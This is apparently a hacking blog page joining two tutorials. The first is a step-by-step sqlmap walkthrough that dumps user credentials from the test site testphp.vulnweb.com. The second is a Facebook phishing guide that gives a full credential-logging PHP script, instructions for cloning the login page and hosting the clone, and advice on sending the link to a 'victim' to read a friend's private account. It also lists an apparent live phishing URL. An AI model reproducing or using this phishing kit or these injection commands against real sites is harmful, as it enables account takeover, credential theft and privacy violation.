fb hacking

NOTE: This tutorial is for Educational Purpose Only!

Hacking Website with Sqlmap in Kali Linux

In the previous tutorial, we hacked a website using nothing but a simple browser on a
Windows machine. It was a pretty clumsy method to say the least. However, knowing the
basics is necessary before we move on to the advanced tools. In this tutorial, we'll be
using Kali Linux (see the top navigation bar to find how to install it if you haven't already)
and SqlMap (which comes preinstalled in Kali) to automate what we manually did in
theManual SQL Injection tutorial to hack websites.

Now it is recommended that you go through the above tutorial once so that you can
get an idea about how to find vulnerable sites. In this tutorial we'll skip the first few
steps in which we find out whether a website is vulnerable or not, as we already know
from the previous tutorial thatthis website is vulnerable.

Kali Linux

First off, you need to have Kali linux (or backtrack) up and running on your machine.
Any other Linux distro might work, but you'll need to install Sqlmap on your own.
Now if you don't have Kali Linux installed, you might want to go to this page,
which will get you started on Beginner Hacking Using Kali Linux

Sqlmap

Basically its just a tool to make Sql Injection easier. Their official website introduces
the tool as -"sqlmap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over of database
servers. It comes with a powerful detection engine, many niche features for the
ultimate penetration tester and a broad range of switches lasting from database
fingerprinting, over data fetching from the database, to accessing the underlying file
system and executing commands on the operating system via out-of-band connections."

A lot of features can be found on the SqlMap website, the most important being -
"Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access,
IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems."
That's basically all the database management systems. Most of the time you'll never
come across anything other than MySql.

Hacking Websites Using Sqlmap in Kali linux

Sql Version

Boot into your Kali linux machine. Start a terminal, and type -

sqlmap -h

It lists the basic commands that are supported by SqlMap. To start with, we'll execute a
simple command
sqlmap -u <URL to inject>. In our case, it will be-

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1

Sometimes, using the --time-sec helps to speed up the process, especially when the server
responses are slow.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --time-sec 15

Either ways, when sqlmap is done, it will tell you the Mysql version and some other
useful information about the database.

The final result of the above command should be something like this.

Note: Depending on a lot of factors, sqlmap my sometimes ask you questions which
have to be answered in yes/no. Typing y means yes and n means no. Here are a few
typical questions you might come across-

Some message saying that the database is probably Mysql, so should sqlmap
skip all other tests and conduct mysql tests only. Your answer should be yes (y).
Some message asking you whether or not to use the payloads for specific versions
of Mysql. The answer depends on the situation. If you are unsure, then its usually better to say yes.

Enumeration

Database

In this step, we will obtain database name, column names and other useful data from the
database.

List of a few common enumeration commands

So first we will get the names of available databases. For this we will add --dbs to our
previous command. The final result will look like -

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

So the two databases are acuart and information schema.

Table

Now we are obviously interested in acuart database. Information schema can be thought
of as a default table which is present on all your targets, and contains information about
structure of databases, tables, etc., but not the kind of information we are looking for.
It can, however, be useful on a number of occasions. So, now we will specify the database
of interest using -D and tell sqlmap to enlist the tables using --tables command. The final
sqlmap command will be-

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

The result should be something like this -
Database: acuart
[8 tables]
+-----------+
| artists |
| carts |
| categ |

| featured |
| guestbook |
| pictures |
| products |
| users |
+-----------+
Now we have a list of tables. Following the same pattern, we will now get a list of columns.

Columns

Now we will specify the database using -D, the table using -T, and then request the columns
using --columns. I hope you guys are starting to get the pattern by now. The most appealing
table here is users. It might contain the username and passwords of registered users on the
website (hackers always look for sensitive data).

The final command must be something like-

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns

The result would resemble this-

Data

Now, if you were following along attentively, now we will be getting data from one of the
columns. While that hypothesis is not completely wrong, its time we go one step ahead.
Now we will be getting data from multiple columns. As usual, we will specify the database
with -D, table with -T, and column with -C. We will get all data from specified columns using
--dump. We will enter multiple columns and separate them with commas. The final command
will look like this.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email,name,pass --dump

Here's the result

John Smith, of course. And the password is test. Email is email@email.com?? Okay,
nothing great, but in the real world web pentesting, you can come across more sensitive data.
Under such circumstances, the right thing to do is mail the admin of the website and tell
him to fix the vulnerability ASAP. Don't get tempted to join the dark side. You don't look
pretty behind the bars. That's it for this tutorial. Try to look at other columns and tables
and see what you can dig up. Take a look at the previous tutorial on Manual SQl Injection
which will help you find more interesting vulnerable sites.

NOTE: This tutorial is for Educational Purpose Only!

(First way)
this is an easy way to hack Facebook.
(Second way)
after this there is a second way to hack anything with kali linux.

welcome to the new Facebook. just login with your username and password.

http://ahtasham.my3gb.com/index.htm

NOTE: This tutorial is for Educational Purpose Only!

Learn Easy Facebook Hacking

How to hack Facebook with phishing page

by:Muhammed Ahtasham

As we all want to hack our friend facebook account,and want to read all his personal things.

Today i m gonna teach you how to hack a facebook account with a phishing page.

phishing:

Phishing is attempting to acquire information (and sometimes, indirectly, money) such as usernames, passwords, and credit card details by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public. Phishing is typically carried out by e-mail spoofing or instant messaging,and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. Phishing is an example of social engineering techniques used to deceive users, and exploits the poor usability of current web security technologies. Attempts to deal with the growing number of reported phishing incidents includelegislation, user training, public awareness, and technical security measures.

today we create a facebook phishing page which look similar to a facebook page but it's not actually a facebook page,when victim enter his username and password you will be able to see that.Interesting.....

FACEBOOK PHISHING....

steps to create a phishing page:

1.Go to the Facebook page ,and then right click on the page, u will see the option view source page,click on that.

2.now a new tab will open which contain a source code,Select all the stuff and paste it in a notepad.

3.Now open the notepad and press CTRL+F,and type ACTION.

4.You will have to find a text which looks like ..

action="https://www.facebook.com/login.php?login_attempt=1"

5.delete all the text written in red colour and instead of it write post.php.then it will look like...

action="post.php"

6.Now save it on your desktop with the name index.htm,not index.html,remember.

7.Now your phishing page is ready.it will look like a pic given below .

index

8.Open a new notepad and save the given data with the name post.php.

<?php
header ('Location:http://www.facebook.com/');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

9.You have two files now one is index.htm and another is post.php,remember file extension is important.

10.Now u have to upload it in a web hosting site ,i prefer u to use www.my3gb.com or www.000webhost.com

11.I prefer u to use www.my3gb.com because it will be easy to use.

12.You have to make a account in that ,after that it looks like a picture given below.

13.Now go control pannel,then on file manager.

14.After that a new window will pop up.Now go to public_html.

15.Delete the file named default.php,after that upload two files index.htm and post.php one by one .

16.Now the last step click on view of index.htm it will look same as facebook page.

this is your Facebook phishing page

17.Copy the url of that page and send this link to your victim,when your victim try to login in to it with the username and password .the page redirectly connect to facebook. and you will be now able to see his password.

18.Open your 000webhost account and go to file manager then public_html,here you find a new file named username.txt.

19.Click on view now u will have your friend's password and email id.

20.This is a simple trick to hack any Facebook password account by phishing page.

Hope u like my post,in my next tutorial i will show u how to hack Facebook in a easiest way....

thank you....